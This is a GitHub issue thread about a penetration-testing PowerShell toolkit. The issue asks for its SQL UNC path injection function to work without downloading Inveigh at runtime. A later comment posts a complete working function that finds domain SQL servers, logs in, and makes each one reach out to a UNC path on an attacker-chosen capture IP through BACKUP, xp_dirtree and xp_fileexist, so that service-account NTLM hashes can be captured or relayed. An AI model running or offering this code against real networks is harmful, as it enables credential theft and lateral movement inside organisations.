Skip to content

Invoke-SQLUncPathInjection without Inveigh #65

Open

Description

@S3cur3Th1sSh1t

Hey,

i just found out that Invoke-SQLUncPathInjection tries to load Inveigh every time via IEX from github. By executing this function on an engagement without internet connectivity the whole function is not usable because inveigh cannot be loaded. And the catch try catch block fails.

You could for example add another parameter for that function - ExternalCaptureIP - so that the function can be used in combination with another system and responder.py/ntlmrelayx.py.

Greetings

Activity

  1. nullbind commented on Sep 1, 2020

    @nullbind
    Collaborator

    Good idea, I’ll add that during the next round of updates. Thanks!

  2. Acebond commented on Mar 10, 2026

    @Acebond

    In case anyone has the same issue.

    Function Invoke-SQLUncPathInjectionNoInveigh {
    
        <#
                .SYNOPSIS
                Locates domain sql servers, loads inveigh, attempts login, and unc path injects to capture password hash of associated service account.
                .PARAMETER Username
                SQL Server or domain account to authenticate with.
                .PARAMETER Password
                SQL Server or domain account password to authenticate with.
                .PARAMETER Instance
                SQL Server instance to connection to.
                .PARAMETER CaptureIp
                IP address for listening and packet sniffing.
        #>
    
        [CmdletBinding()]
        Param(
          [Parameter(Mandatory=$false)]
           [string]$Username,
        
           [Parameter(Mandatory=$false)]
           [string]$Password,
    
           [Parameter(Mandatory=$false)]
           [string]$DomainController,
    
           [Parameter(Mandatory = $false,
                    ValueFromPipeline = $true,
                    ValueFromPipelineByPropertyName = $true,
           HelpMessage = 'SQL Server instance to connection to.')]
           [string]$Instance,
    
           [Parameter(Mandatory=$true)]
           [string]$CaptureIp,
    
           [Parameter(Mandatory=$false)]
           [int]$TimeOut = 5,
    
           [Parameter(Mandatory=$false)]
           [int]$Threads = 10
    
        )
        Process
        {
            # If SQL instances are not provided, autopug
            if(-not $Instance)
            {
                # Discover SQL Servers on the Domain via LDAP queries for SPN records
                $SQLServerInstances = Get-SQLInstanceDomain -verbose -DomainController $DomainController -Username $Username -Password $Password 
            } else {
                # Test instances from pipeline and check connectivity
                $SQLServerInstances = $Instance 
            }
    
            # Get list of SQL Servers that the provided account can log into
            Write-Verbose -Message "Attempting to log into each instance..."
            $AccessibleSQLServers = $SQLServerInstances | Get-SQLConnectionTestThreaded -Verbose -Threads $Threads | ? {$_.status -eq "Accessible"}        
            $AccessibleSQLServersCount = $AccessibleSQLServers.count
    
            # Status user
            Write-Verbose -Message "$AccessibleSQLServersCount SQL Server instances can be logged into"
            Write-Verbose -Message "Starting UNC path injections against $AccessibleSQLServersCount instances..."
    
            # Perform unc path injection on each one
            $AccessibleSQLServers | 
            ForEach-Object{
    
                # Get current instance
                $CurrentInstance = $_.Instance
    
                # Randomized 5 character file name
                $UncFileName = (-join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}))
    
                # Start unc path injection for each interface
                Write-Verbose -Message "$CurrentInstance - Injecting UNC path to \\$CaptureIp\$UncFileName"
    
                # Functions executable by the Public role that accept UNC paths - SQL Server 2000 to 2008
                # https://support.microsoft.com/en-us/help/321185/how-to-determine-the-version--edition-and-update-level-of-sql-server-a
    
                # Check version
                $SQLVersionFull = Get-SQLServerInfo -Instance $CurrentInstance -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber
                if($SQLVersionFull)
                {
                    $SQLVersionShort = $SQLVersionFull.Split('.')[0]
                }
    
                # Run the BACKUP commands for older version only (MS16-136)
                if([int]$SQLVersionShort -le 11)
                {
                    Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "BACKUP LOG [TESTING] TO DISK = '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null
                    Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "BACKUP DATABASE [TESTING] TO DISK = '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null
                }
    
                # Functions executable by the Public role that accept UNC paths
                Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "xp_dirtree '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null 
                Get-SQLQuery -Instance $CurrentInstance -Username $Username -Password $Password -Query "xp_fileexist '\\$CaptureIp\$UncFileName'" -SuppressVerbose | out-null
            }
        }
    }
    
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions